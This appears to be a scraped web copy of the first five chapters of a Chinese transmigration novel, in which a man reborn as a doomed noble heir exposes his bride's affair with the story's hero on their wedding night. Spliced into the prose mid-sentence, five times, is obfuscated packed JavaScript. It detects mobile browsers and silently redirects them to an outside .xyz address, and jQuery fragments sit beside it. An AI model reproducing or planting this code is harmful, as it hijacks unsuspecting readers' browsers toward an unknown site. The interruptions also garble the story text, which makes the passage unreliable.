《大婚之日,我将未婚妻捉奸在床》 第1章 结婚?结你大爷!捉奸! “恭祝摄政王府今日添丁进口,世子喜结良缘。” “恭喜世子得了一位如花似玉的美娇娘,真乃天作之合,满座生辉!” 林府大婚,四方宾客皆是名流显贵,高官重臣。 他们身着华服,面带春风,踏着红毯的指引,纷至沓来,推杯换盏,极为开心。 “老刘,你身为世子殿下的老丈人,今日之喜,非同小可。来来来,这一杯喜酒,您必须满饮!” “我大侄子呢?这臭小子,结婚也不知道敬酒,又跑哪去了?” 今日的主角就是林家世子,林臻。 不过,此时的林臻竟像个路人那般一个人蹲在月亮门旁边,望着歌舞升平的场面脸上没有半分高兴,反而带着几丝愁容。 因为他刚刚戴上了一顶绿帽子。 霸道总裁,大男主顾北辰此刻就在洞房里和他老婆刘书瑶干那些苟且之事。 新婚之夜被绿,是个男人都不能忍。 可最让林臻最抓狂的不是这件事,而是这具身体只剩下不到三个月的寿命了!! 他本是一名中央选调生,也叫林臻,意外穿越到《女帝也是我的笼中雀》这本书里,没想到直接赶上本尊大婚的剧情。 林臻是大乾有名的纨绔,乃天下兵马大元帅、尚书左仆射、左相、上柱国、摄政王林震仙的嫡孙。 听起来很厉害,同时也是被顾北辰刷经验,第一个干掉的工具人. 现在的林家权倾朝野,势力极大。只可惜家族不旺,父母早亡,只留下林臻这一根独苗。 偏偏林臻又不学无术、好吃懒做,疯狂迷恋员外郎刘翰阳的孙女刘书瑶,为此不惜求林震仙帮助刘家崛起。 如今刘翰阳已经是户部侍郎,官居四品,而刘书瑶也应约嫁给林臻为妻。 也就是今天。 主角顾北辰作为新科状元,曾为女帝出过几次计谋,深得赏识,又仗着主角光环,有恃无恐,当晚来到林府抢亲。 结果刘书瑶竟然真的跟他走了。 林臻得知后找自己爷爷哭嚎,后者大闹早朝,女帝迫于无奈,只好让顾北辰把刘书瑶还回来。 经过一夜折腾的刘书瑶早已不是完璧之身,但林臻却对她更加疼爱,将府里一切事务都交给她打理,不负舔狗之名。 结果刘书瑶转头就成为顾北辰和女帝的情报队员,还是最深入林府的那种。 三个月后,楚国北上与大乾交战于雄鹿,林震仙兵败身亡,丢失大片国土。 女帝本就忌惮林家兵权,百官更是忌惮林家权势滔天,都在暗中憋着劲儿要扳倒林家。 林震仙死后,林家遭墙倒众人推,被抄家灭族。 而林臻也被林家内鬼抓走送给顾北辰,被做成了人彘供奉在黄河边上当蛤蟆。 至于刘书瑶,她非但没死,反而被顾北辰接走养在府中,成为一只真正的笼中雀。 她父亲刘翰阳也在继续在朝中当官,深得女帝重用。 最让人恶心的是,林臻为了不让美人生气,竟然三个月都没碰过她一根手指! 白白便宜了顾北辰那个王八蛋! 整理完这些记忆,林臻不由地发出感慨:“如果不是主角光环,顾北辰怎么可能是林家的对手?狗作者不按套路瞎写,害得我也跟着倒霉。” 想到自己还剩下三个月的寿命,林臻就头疼不已。 结婚?结你大爷。 哪还有心情结婚啊? 必须得立刻布局,否则三个月后自己连做个太平王爷的机会都没有。 片刻后,捋清思路的林臻抬头看了看天色。 已经很晚了,如果这个时候去捉奸绝对能让顾北辰在所有人心目中的形象轰然崩塌。 这就是自己要扳倒顾北辰的第一步。 “呵,既然如此,你可就别怪我了。” 林臻脸上闪过一丝狡诈的冷笑,站起身准备去捉奸。 忽然想想又觉得不妥。 这样一个男欢女爱,你侬我侬的大场面,就自己一个人看怎么行? 当然得叫上小伙伴一起啊! 至于脸面早在准备当官的时候,这玩意就扒下塞裤裆里了。 林臻拿起酒坛子回到院子里。 现场依旧很热闹,父辈、祖辈官员都在中堂,外面是由各个世家子弟组成的纨绔阵营,他们推杯换盏,醉酒划拳,玩得不亦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789134|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐乎。 “来啊爷们整两盅!” “五魁首啊,六六六啊!” “喝酒喝酒!” 林臻鬼魅一笑,挑了桌最混蛋的走过去,高声喊道:“兄弟们!” “哎呦!新郎官终于回来了啊,我以为你等不及要入洞房了呢!” “胡说什么?我大哥早在九岁的时候就入洞房了,还差这一宿吗?” “我说也是,大哥,明天出去玩弟弟请客!就祸祸燕来楼的那个老板娘!奶奶的,上次我们哥四个都不是她的对手,这次带上你一起,必须把她拿下!” “没问题,一个老鸨子不在话下!”林臻大手一挥答应得很痛快,随后低声说道:“不过,我今天可是有个更好玩的事情,兄弟们要不要试试啊?” “大哥说好玩,那肯定是最好玩的!” “大哥快说。” “桀桀桀桀。”林臻笑得像个猫头鹰,紧挨着他的几名纨绔都觉得不寒而栗:“我带你们去闹洞房!” “啊?哪有新郎官带头闹洞房的?这不合礼数吧?” “礼数?你有那玩意吗?林大哥说闹洞房,那就必须闹!走着!” 众人放下金樽,起身往后院走。 这时林臻突然拉住一个人的手腕。 此人正是天蓬大将军的儿子,王蓬,绰号王胖子。 他身高两米,体重近三百,武艺极高。 父亲王铁男是林震仙的早年收养的义子,所以林臻和他从小玩到大,关系极好。同时也是林臻称霸各大青楼、赌场的第一马仔。 胖子问道:“大哥,怎么了?” “胖子,你留下,一炷香的时间后带所有客人去洞房,就说我和你嫂子给他们准备了一份大大的惊喜!” “得嘞!那我这就去告诉林爷爷。” “嗯,另外派人问问,陛下到哪了。” “是。” 林臻望着热闹非凡的场面,眼神愈发凌厉。 我来了,你顾北辰的主角光环也就走到头了。 我会夺走你全部气运,断绝你一切生机,拿走原本属于你的一切。 然后在这个时代称王称霸,做天下之主! 第2章 难道你与林家少夫人通奸不成? 坐在大堂最中间位置上的林震仙听着胖子的话,满不在乎的说道。 “什么惊喜啊,净胡闹。” 这话被其他官员一听,顿时来了兴致。 “王爷,有什么惊喜啊?” “快和我们说说!” “对啊,让咱们也跟着乐呵乐呵!” 林震仙摆摆手说道:“嗐,都是臻儿的主意。年轻人闹闹洞房也就算了,我们一群老家伙去闹成何体统?” “王爷,此言差矣!圣人都说保持童心呢,我们去闹闹洞房有何不可?” “对啊,都是自己家孩子,凑凑热闹也好啊。” 当朝右相顾云霆,从隔壁桌醉意熏熏地走过来:“王爷,又有什么好玩的热闹啊?” 林震仙不是很喜欢这个政治对手,但人家是来参加婚礼的,也不好驳了面子,于是说道:“臻儿说要带我们几个老家伙去闹洞房。” 顾云霆眼珠子一转,突然觉得让大家亲眼看林臻出丑也是件好事儿。 毕竟林震仙的名望和口碑越差,自己的阵营才能越强大! “好事啊!现在的年轻人都不愿意和我们老家伙一起玩,好不容易有个机会,咱万万不能错过!” 言罢一个劲儿地朝刘翰阳使眼色,后者立刻心领神会,站起来说道。 “王爷,我也同意顾相的说法,臻儿既然有这份心,我们也不能不给面子!就去闹闹吧,闹完回来再喝!” 众人都劲劲儿地要去,林震仙也不好再说什么。 “那好吧,就去这臭小子又耍什么花招。” 身穿大红嫁衣的刘书瑶已经揭开盖头,露出那张堪比仙子的绝世容颜,肤若凝脂,吹弹可破,让人见了便心生犹怜。 她望向眼前这个俊朗清秀的男人,一滴泪从脸颊滑落。 “你怎么来了” 此人正是当朝右相顾云霆之子,顾北辰。 只见他微微扬起下巴,语气中带着不容置疑的霸气说道:“除了我,没有人配做你的夫君。” “现在说这些还有什么用,我已经是林臻的妻子了.” 刘书瑶轻轻摇头,泪水如断线的珠子般落下,梨花带雨的模样让人心生怜意。 顾北辰更加觉得自己的心都揪在一起,他微微上前一步,嘶吼着喊道:“不!那个狗杂种根本就配不上你!” “瑶儿,跟我走!”顾北辰猛然抓起她的手,却被一把甩开。 “不!”刘书瑶还保留着最后一分清醒:“顾郎.我若是走了,刘家怎么办?林府势力极大,在朝中根深蒂固,他不会放过我家的。” “傻瓜。”顾北辰露出那副霸道总裁的温柔相。 “陛下赐我监察之权,监督百官。如果林震仙敢在这件事情上说三道四,我就说出他贪墨军饷的事情!陛下肯定会向着我的,到时候你刘家非但不会遭殃,还会更进一步!” “真的吗?”刘书瑶被他忽悠得一愣一愣的。 不过这顾北辰还真说到了点子上。 当年林震仙为了给阵亡的将士多发点抚恤,克扣了一些军饷,虽然这个窟窿已经自掏腰包堵上了,但是女帝并不知道。 如果知道,必定震怒,以后会更疯狂地针对林家。 顾北辰看着刘书瑶,语气坚定:“当然是真的!所以,瑶儿,跟我走吧,以后再也没有人会强迫你不愿意做的事情了!” “嗯!顾郎,我相信你,只不过” “你还有什么好犹豫的?难道你舍不得那个门下小犬?” 知道说的是大舔狗林臻,刘书瑶站起身摇了摇头。 “当然不是,只是” “瑶儿!”顾北辰一把将刘书瑶拉起来,搂进怀里。 将头埋到她的颈间,发香与体香缠缠绵绵,钻进鼻孔,刺激着他浑身每一个细胞。 “瑶儿,你相信我,今生今世,我一定会对你好的!跟我走吧!” “嗯” 刘书瑶发出蚊子般羞涩的声音,然而就在此时,大门被人一脚踹开。 “砰。” “娘子!我回来了!” “兄弟们闹洞房啦!!” “冲啊!” “我今天必须得跟嫂夫人喝一杯!” 十几名纨绔冲进房间里,正看到刘书瑶和顾北辰搂在一起! 刘书瑶吓得哎呀一声大叫,随即躲在顾北辰的身后。 “啊!” “嫂诶?” “顾北辰!?你怎么在这?” 林臻闻言,抢到前面,正看到顾北辰把刘书瑶护在身后。 他悲痛地叫一声:“书瑶!” 随即白眼一翻就躺在几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789135|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名纨绔怀里昏死过去。 要不说是后备领导人才呢,演技就是比那些小鲜肉高明。 “林大哥!” “世子!” “快叫大夫!” 见林臻晕倒,众人更是义愤填膺。 “顾北辰,你为何在此?” “难道你与林家少夫人通奸不成?” “王八蛋,亏陛下对你如此厚爱,你竟做出此等下流之事!” “你这样的垃圾,不配与我们为伍!” 顾北辰万万没想到竟然会有这么多人撞破他的好事,他忙喊道:“诸位兄弟,你们听我解释!” “解释个屁!我们进来的时候看得清清楚楚,你们俩搂在一起!” “顾北辰,我真是看错你了!” “你这样的人,不配做我们大哥!” 就连曾经跟在顾北辰身后的马仔小弟,此时也纷纷倒戈,怒视着他。 顾北辰都懵了。 心说不应该啊这个时间他们不是在喝酒吗? 闹洞房怎么也要到子时以后,怎么会突然冲进来? 难道说,这一切都是林臻故意设计的? 他早就知道自己在这? 不可能。 像林臻这种只会吃喝嫖赌的纨绔根本没那个脑子! 那到底是怎么回事呢? 顾北辰虽然脸上满是惊愕,但很快就冷静下来。 他定了定心神,解释道。 “诸位兄弟,这都是误会。我听闻林兄大婚,特来祝贺,谁知被人引到此处,正与嫂夫人解释之时,你们就冲了进来。” “你胡说!谁会引你来这里?” “就是,别找借口了!” “你为何会与嫂夫人搂在一起,你心知肚明!” 林臻见火候差不多便缓缓起身,满眼血腥地指着顾北辰喊道:“顾北辰,你深夜闯我洞房,辱我娘子!我他妈打死你!” 言罢林臻抄起圆桌上的酒壶朝顾北辰脑袋砸去。 但是他故意装作喝醉的样子,动作很慢,摇摇晃晃地被身后之人拦住。 “林大哥!别冲动,这种事情还是让王爷来评判吧!” “是啊大哥,万一你把他打死,我们就算有理也变成没理了!” “放开我!看我不打死这个奸夫!” 第3章 戏精附体,蔫坏蔫坏的 洞房外。 作为大乾第一战神,其气场绝非一般人能够比拟。 林震仙带头走在前面,后面跟着一众朝中大佬。 顾云霆摇头叹道:“现在这年轻人真是一代不如一代,连闹洞房都不会!” “就是,冷冷清清没有一点热闹的样子。” “这玩意还要老夫亲自教你们?” “让开!” 林震仙对顾云霆他们的行为并没有多想,带着淡淡笑意,迈着四方步走进房间。 屋内人群自动分开一条路,路的尽头正是举着酒壶破口大骂的林臻。 “顾北辰,你拿命来!” 林震仙见状立刻收拢表情,不喜地说道:“住手!干什么呢!” “大婚之日,不得胡闹!” 林臻回头,心说我的亲爷爷,你可算来了! 你再不来,我真要把顾北辰的脑袋开瓢了! 林震仙走过来,还没发问,就看到一个非常突兀的人正站在床榻前面,而他身后还躲着一个穿着大红嫁衣的女子! “哦?看来顾贤侄与老夫的孙媳妇关系不错啊~”林震仙阴阳怪气,似笑非笑的样子让顾云霆不寒而栗。 本是来看林家笑话的,谁知道自己儿子会在洞房里啊? 顾云霆恼怒地站出来问道:“北辰?你怎么会在这?” “爹” “这是怎么回事?” 林臻痛心疾首地放下酒壶,眼睛里全都是戏:“祖父!顾北辰趁我们喝酒,偷偷闯进洞房侮辱我娘子!” 他故意没说刘书瑶,其目的就是要她自己跳出来。 这样既可以保留自己被蒙骗的形象,不遭人怀疑,又可以让众人对这对狗男女更加厌恶。 “顾北辰,你好大的胆子!”果然,林震仙大怒,一双眼睛仿佛要喷出火来。 他身后的三公、尚书、侍郎等等大佬也是满脸怒容。 毕竟这样的事情对谁家来说都是不能容忍的大忌! “顾相,您可真是生了个好儿子啊!” “前天还当朝说老夫的儿子浑蛋。呵,老夫的儿子再浑蛋也不觊觎他人之妻!” “更何况还是在新婚之夜!” “你是在打王爷的脸吗?” 林震仙转头对顾云霆说道:“云霆,你是不是应该给老夫一个解释啊?” 顾云霆只感觉自己的脸火辣辣的烫,满脸怒容地看向自己儿子。 “畜生!还不滚过来!” 顾北辰也略 有心虚,走过来的时候腿肚子打颤。 “爹” “你怎可做出如此下流之事?往日我教你的礼义廉耻你都忘了吗?” “父亲的教诲,北辰万不敢忘。但是.” “但是什么?” 顾北辰复杂地看了看刘书瑶,回过头说道:“我是被骗来的,无意中闯入林兄洞房。我正要和他们解释,你们就进来了。” “这里是林府,谁会骗你?难道是世子吗?” 顾云霆斜着眼睛瞟了瞟林臻,那意思就是赶紧往他身上泼点脏水,挽回些颜面。 顾北辰立刻心领神会:“对!就是林兄,他派人把我引到后院,然后再带人过来!这一切都是他安排的!” 林臻刚要反驳,就看自己身边挤出来个死胖子。 “放屁!我大哥一晚上都在参加宴会,他怎么骗你?” 闻言,其他几名与林臻交好的纨绔也相继喊道。 “就是,林大哥没理由设计你啊。” “而且我们进来的时候,看到你和嫂夫人搂在一起!” “你们就是一对奸夫淫妇!有什么不承认的?” 顾北辰被驳斥得哑口无言,正左思右想的时候,刘书瑶不怕死地跑出来,扑通一声给林震仙跪了下去。 “祖父息怒,这件事情是我们自愿的!” “请祖父和顾伯父绕过北辰,孙媳甘愿受罚。” 顾云霆、顾北辰,以及刘翰阳几乎异口同声地喊道:“住口!” 冷眼观望的林臻兴奋得险些拍手! 神助攻啊! 早知道刘书瑶会跳出来帮顾北辰说话,但万万想不到她直接不打自招了! 这样一来,两人苟且之事就是板上钉钉的,谁也反驳不了。 况且再坚持几分钟女帝就要来了,这下我看你们顾家和刘家都怎么收场。 果然,顾云霆的脸刷一下就黑了,抬手就是一个大嘴巴抽了上去! “啪!” “畜生!你还有何话讲?” 这是他二十六年来第一次打儿子,而且打得极重! 顾北辰羞得后槽牙都快咬碎了。 要知道他可是所有人眼中的天之骄子,天赋异禀,天才之极。 结果竟被当着一众大佬和纨绔的面扇耳光。 这还不如杀了他! 刘翰阳看到自己女儿竟然为了顾北辰不打自招,气得脑门通红! 刘家与顾家交好是没错,两家约定联手干掉林家也是事实,但刘 翰阳怎么也想不到女儿的脑子竟然这么蠢! 不仅在林家大喜之日和顾北辰行苟且之事,还当众说了出来。 这不是啪啪往林震仙脸上扇巴掌吗? 帝王一怒,伏尸百万。 他林震仙虽然不是皇帝,但让刘家妻离子散,家破人亡还不是一句话的事情? 刘翰阳觉得自己的后脊梁骨都快要被那群人戏谑的目光射穿了。 本来是准备过来看好戏的,谁知道自己变成了好戏! 他指着女儿,颤抖着山羊胡喊道:“刘书瑶!你不顾贞洁廉耻,败坏我家风!我.我今天非打死你这个不孝女不可!” 顾北辰没管刘书瑶。 但是林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789136|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臻走了出来:“刘伯伯息怒!” 只见林臻泪眼婆娑,态度极其诚恳地说道:“书瑶是我娘子,他犯错,我也有罪。但请您看在我们两家喜结秦晋之好的份上,只打顾北辰一个人吧!” 顾北辰:? 你小子真是他妈蔫坏蔫坏的啊! 但是这在其他人眼中,却是林臻护妻心切的表现。 “世子果然是重情重义之人。” “不愧是我们大哥,刚硬顾北辰,有种!” 面对众人的阴阳怪气,顾北辰气得浑身直哆嗦,他指着林臻说道:“林臻,你很好,这一笔我记下了!咱们来日方长!” 这时,林震仙终于说话了,只见他向前一步压迫感十足的说道:“怎么?侮辱我林家门楣,还威胁我林家世子。顾北辰,你当老夫死了不成?” 林震仙虽然上了年纪,但依然手握重兵,不到万不得已,连皇帝都不敢触其眉头。 顾云霆作为他的政治对手,也只能私下里动动手脚,正面硬刚无异于以卵击石。 他对顾北辰喊道:“住口!顾北辰,你再敢胡说八道一句老夫今天就大义灭亲!还不滚过来跪下!” 顾北辰指了指自己,难以置信地道:“什么?爹,你让我跪林家的人?” 顾云霆就不明白了,一向聪明的儿子怎么会在这样的事情上栽跟头呢? 难道真有人做局? 他摇了摇头。 不管怎么样,必须先把眼前这关糊弄过去,否则越吵越对顾家不利。 顾云霆咬牙切齿地说道:“你若不跪,以后就别说是我儿子!” 顾北辰攥紧双拳,面色痛苦,十分挣扎。 刘书瑶拉了拉他的衣袖:“顾郎.” 这个动作被所有人看在眼里,刘翰阳再也忍不住,抬手就是一个大嘴巴抽上去! “啪!” “啊!”刘书瑶捂着脸痛苦倒地。 “不孝女!还不跪好!” 林臻见状,假模假样地跑过去:“书瑶,你没事吧?” “滚开!” 刘书瑶一把将林臻推到一边。 林震仙眼睛微眯,浑身杀意迸现,连周围温度都随之下降。 “臻儿,这样薄情寡义的女子不值得你在乎!站起来!” 林臻站起身,内心却在阵阵冷笑。 经过此事,所有人都知道了顾家和刘家是什么嘴脸,看以后谁还敢跟他们合作。 至于刘书瑶,等今夜过后,有的是办法炮制她。 顾云霆知道这场闹剧必须尽快结束,他看向儿子。 “顾北辰,老夫最后问你一遍,跪还是不跪!” 顾北辰双目通红的看着父亲,最后被逼无奈,面朝林震仙跪了下去。 然而就在这瞬间,林震仙突然转过身,不给他跪拜的机会。 “哼,老夫一生光明磊落,可承受不住奸夫的跪礼。” 第4章 我也想和顾伯母通奸一下 “你!”顾北辰羞得眼珠子通红,恨不得现在就冲上去抽林震仙两个大嘴巴。 “你什么你?怎么?看老夫上了年岁,想比划比划?”林震仙回眸怒视,一句话硬生生把顾北辰的热血吓了回去。 他是很生气,但是他不傻。 林震仙可不是光靠一张嘴就做上摄政王的纨绔,而是真正靠武力值一点一点打拼来的无敌上将。 和这样的人过招,那不是找死吗? “够了!”顾云霆走过来一把将儿子拉起,转身对林震仙说道。 “王爷息怒,今日之事确实是臣教子无方导致。但是您羞辱也羞辱了,我们跪也跪了,还请您高抬贵手,饶过北辰这一次吧。” 林臻能看出来顾云霆脸上的不情愿。 毕竟他与林震仙是政治对手,也都是自己阵营里的领头羊。 如今他的阵营接连向对手低头道歉,这会大大影响到他在朝中的根基,所以他是最着急息事宁人的。 既然如此,那就更不能让他们痛痛快快地离开了,必须得再加加温。 林臻站出来,皮笑肉不笑说道:“祖父,孙儿也觉得顾伯伯说得有道理,您就答应了吧。” 顾云霆偷偷擦了把汗,向林臻露出一个善意的微笑。 哪知道他紧接着又说道:“等明天孙儿就去顾伯伯家里给他磕个头,然后再与伯母通奸一下。想来顾伯伯宽宏大量,是不会生气的。” “你!”顾云霆气得险些喷出一口老血,指着林臻的手指都跟着颤抖:“竖子无礼!林臻,你眼里还有没有长辈尊卑?” “无礼?”林臻故意做出一副天真的表情,“顾伯伯刚才表达的不就是这个意思吗?您儿子和我媳妇通奸被抓,然后跪一下,说两句软话这事儿就过去了。这么不要脸的事情您可以做,我为什么不能做?” 林臻的话引来周围大佬爽朗的笑声。 “哈哈哈哈!” “还是年轻人分析得透彻!” “通奸被抓正着,说两句好话就能糊弄过去?” “哪那么便宜的事儿?” 户部尚书谷中满,是顾云霆的铁杆小弟。 他走过来在顾云霆耳边轻声说道:“顾相,算了吧,好汉不吃眼前亏。” 说得轻巧,顾云霆感觉自己的脸已经丢尽了。 为官几十年还从没吃过这么大的闷亏。 但吃都吃了,还能如何呢? 难道真的要和堂堂一位摄政王撕破脸吗? 顾云霆几乎 是瞬间便权衡了利弊再次转身咬着后槽牙对林震仙说道。 “王爷三天之后臣必定给您个满意的答复。” “爹不必求他!” 顾北辰终于想起来自己的杀手锏把老爹拉到自己身后昂首挺胸的看着林震仙。 “北辰.”顾云霆想劝住儿子却被他的话打断。 “林震仙别以为你干的那些事儿没人知道!你若是再咄咄相逼我今天就将真相大白于天下!” “大胆!竟敢直呼王爷姓名!” “王爷一生光明磊落岂容你来玷污?” 兵部尚书刘恺威御史大夫司马忠纷纷站出来指责。 就连顾云霆都是满脸焦急:“北辰不要胡说八道!” “爹您放心我已经掌握了充足的证据!” 顾北辰表现出前所未有的自信。 林臻看他这状态心说不好! 这小子肯定是要把原书中朝堂上的情节拿出来替自己和顾云霆解围。 在原书中因为刘书瑶逃婚林臻去找爷爷哭诉。 第二天林震仙当朝对峙顾云霆两人闹得不可开交让女帝十分烦恼。 这个时候顾北辰把他贪污军饷的事情说了出来成功转移了所有人的注意力。 林震仙一介武夫哪能说得过那些靠嘴皮子上位的人?说了半天也没说明白而女帝也因此震怒。 虽然明着没有把林震仙怎么样还命令顾北辰把刘书瑶还给林家但从那之后她针对林家的手段变得更加疯狂。 不行绝不能给顾北辰颠倒黑白的机会这小子可是有主角光环的! 林臻站出来正要说话就听见外面突然传来一阵怪异、低沉的声音。 “朕就说前院怎么没人呢原来诸位爱卿都在这里啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789137|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陛下驾到!” 随后大乾皇帝慕容嫣缓缓步入房间。 周遭的空气似乎都为她凝滞群臣屏息万籁俱寂整个空间都充满了庄严与肃穆。 众人纷纷下跪:“参见陛下。” “免礼。” “谢陛下。” 林臻站起来眼珠子忍不住在皇帝身上打量。 突然发现慕容嫣竟然画了两撇胡子胸前也瘪瘪的看不出轮廓 对了! 他猛然想起女帝的身份如今只有自己知道! 就连主角顾北辰都不知道皇帝是个女人大家都认为她 是先帝最小的儿子,慕容复。 直到林家灭亡以后,顾北辰才在无意中撞破了她的女儿身。 从此以后两人没羞没臊,一发不可收拾。 慕容嫣进了门,来到圆桌边。 贴身太监立刻搬出椅子让她坐下。 “北辰,朕刚刚听你讲什么大白于天下,继续说啊。” 慕容嫣拿起红苹果把玩,看向林臻的眼神里有着说不出的戏谑。 后者瞬间就明白过来。 这娘们肯定已经在外面偷听半天了,否则不会故意卡着点进来。 她就是宠爱顾北辰,特意进来帮场子的。 好啊,都TM憋着坏要搞我是吧? 既然如此,你们可就别怪我开挂了。 只见林臻站出来说道:“陛下,臣知道顾兄要说什么,其实大可不必。” 顾北辰嘴角咧得像菊花,心说终于到我反击的时候了! 他冷笑道:“呵,现在才说这话,是不是有点晚了?” “确实有点晚。但顾兄的好意,在下心领便是,不劳你多嘴。”林臻转过身对慕容嫣行礼,随即说道。 “陛下,顾兄想说的其实就是去年三月,摄政王府变卖家产给阵亡将士发抚恤的事情。这是我林家为军民甘愿付出的,就不向陛下讨要赏赐了。” 顾北辰瞳孔猛一收缩:“不对!你林家分明.” “分明什么?”林臻立刻打断他,抢过话语权说道:“难道顾兄要说我林家贪污不成?” 第5章 他怎么知道的啊!? 林臻根本不给顾北辰说话的机会。 因为他知道只要顾北辰把话说出来女帝就一定会相信他。 届时林家的处境将会更加难过。 林臻对慕容嫣行礼:“陛下去年冬日北方蛮族率八万铁骑犯边半月连克三城我朝军民死伤无数哀鸿遍野。摄政王亲自领兵与敌鏖战半年之久方有今日太平。” “但是在战后户部竟然克扣战死将士的抚恤导致将士们前方流血后方流泪。祖父不忍变卖祖产八百亩良田又典当家中各种珍馐细软换来的银钱全部分发给阵亡将士的家属这才抚平他们的内心创伤。” “这些事情都在我林家账目上记载得清清楚楚陛下如果不信可传人查看。” “简直是一派胡言!”顾北辰实在受不了林臻颠倒黑白的样子站出来说道:“你林家分明是贪污了将士们的军饷才有钱给他们发抚恤的!” 林臻蔑视地看着他:“那你是承认户部克扣将士抚恤了?” “我” 顾北辰被这一句话问得哑口无言。 顾云霆也愣住了他万万没想到林臻提出来的问题会这么尖锐! 克扣抚恤就是他本人的主意 而且林震仙也真上了套情急之下竟然贪污军饷以发抚恤。 这是一招绝杀! 就算事后林震仙把窟窿堵上也没用因为贪污就是贪污。 可是林臻简单几句话就把矛头就直接引向了户部! 那可是顾家的命根子啊! 果然慕容嫣锐利的大眼睛看向谷中满:“谷爱卿可有此事?” 谷中满吓得直接就跪了下去。 “陛下臣冤枉啊!臣从来不曾克扣将士抚恤!” 顾北辰指着林臻说道:“林臻你不要转移话题!现在说的是你林家贪污军饷的事情!” “贪污军饷?呵。”林臻冷笑:“京中六卫二十万大军你随便拉出来一个将士问问军饷可曾有一日延发?” 林臻看着顾北辰眼里有着说不出的戏谑:“倒是你顾家我听闻城内的醉仙楼就是你顾家藏宝之地。怎么?需要我派府兵去查查吗?” “啊” 他是怎么知道的!? 顾云霆和顾北辰同时傻了眼! 醉仙楼表面上就是个普普通通的酒楼而已但它却是顾家的产业。 顾家把这么多年贪污受贿的财宝全埋在酒楼后院的地窖里 。 就是这些数不尽的财宝成就了原书中的顾北辰。 让他征战天下后宫如云成就一代风流。 林臻本来是想派人偷偷把地窖搬空好发上一笔横财结果现在白白便宜了慕容嫣。 但这也是没办法的事情 还不如出奇招破坏顾家与女帝之间的关系。 这招就叫:挑拨离间祸水东引! 慕容嫣的目光冷了下来她也是没想到顾家还有这么一手她用审视的目光看向顾云霆。 后者吓得浑身一哆嗦脑门的汗像下雨似的噼里啪啦往地上落。 “臣臣那些都是祖产.” 林臻看热闹不嫌事大继续拱火。 “你顾家先祖不过是屠夫你父亲也只是大理寺小吏而你也是先帝从宗人府提拔上来的哪来的祖产?”林臻故意放大音量让所有人都听得清清楚楚:“莫不是贪污来的吧?” “林臻你不要血口喷人!” “血口喷人?”林臻无视顾北辰的话对慕容嫣说道:“臣恳请陛下立刻派人前往醉仙楼查看臣保证那里的财宝价值绝不会低于三十万两!” 顾家父子眼珠子都快瞪出来了! 他怎么知道的啊!? 如果只知道醉仙楼是藏宝地还有情可原但能准确说出三十万两白银就肯定是出鬼了! 家里有内鬼! 顾云霆现在满脑子都是赶紧离开回家去清剿内鬼! 否则以后没有一天安生日子。 慕容嫣的脸已经有了几分红晕。 那是气的。 对一个帝王来说没有什么事情是比背叛更难容忍的。 “顾卿需要朕派人去查查吗?” 爱字都不用可见女帝已经是怒火中烧。 “不不不陛下臣积攒钱财本就是为您过寿辰做准备的。您如果需要.臣立刻上缴少府监。” 咔嚓。 林臻好像听到了顾家父子心碎的声音。 贪污三十万两很爽拿出去是真心疼啊! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789138|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >慕容嫣失望地闭上眼睛耐心已经彻底磨没了。 “好自为之吧。” 本来她今天出现的目的只是想给摄政王府道个喜。 无论如何林家三代有恩于皇族这个面子还是要给的。 但是她没想到顾北辰竟然与林臻的妻子通奸! 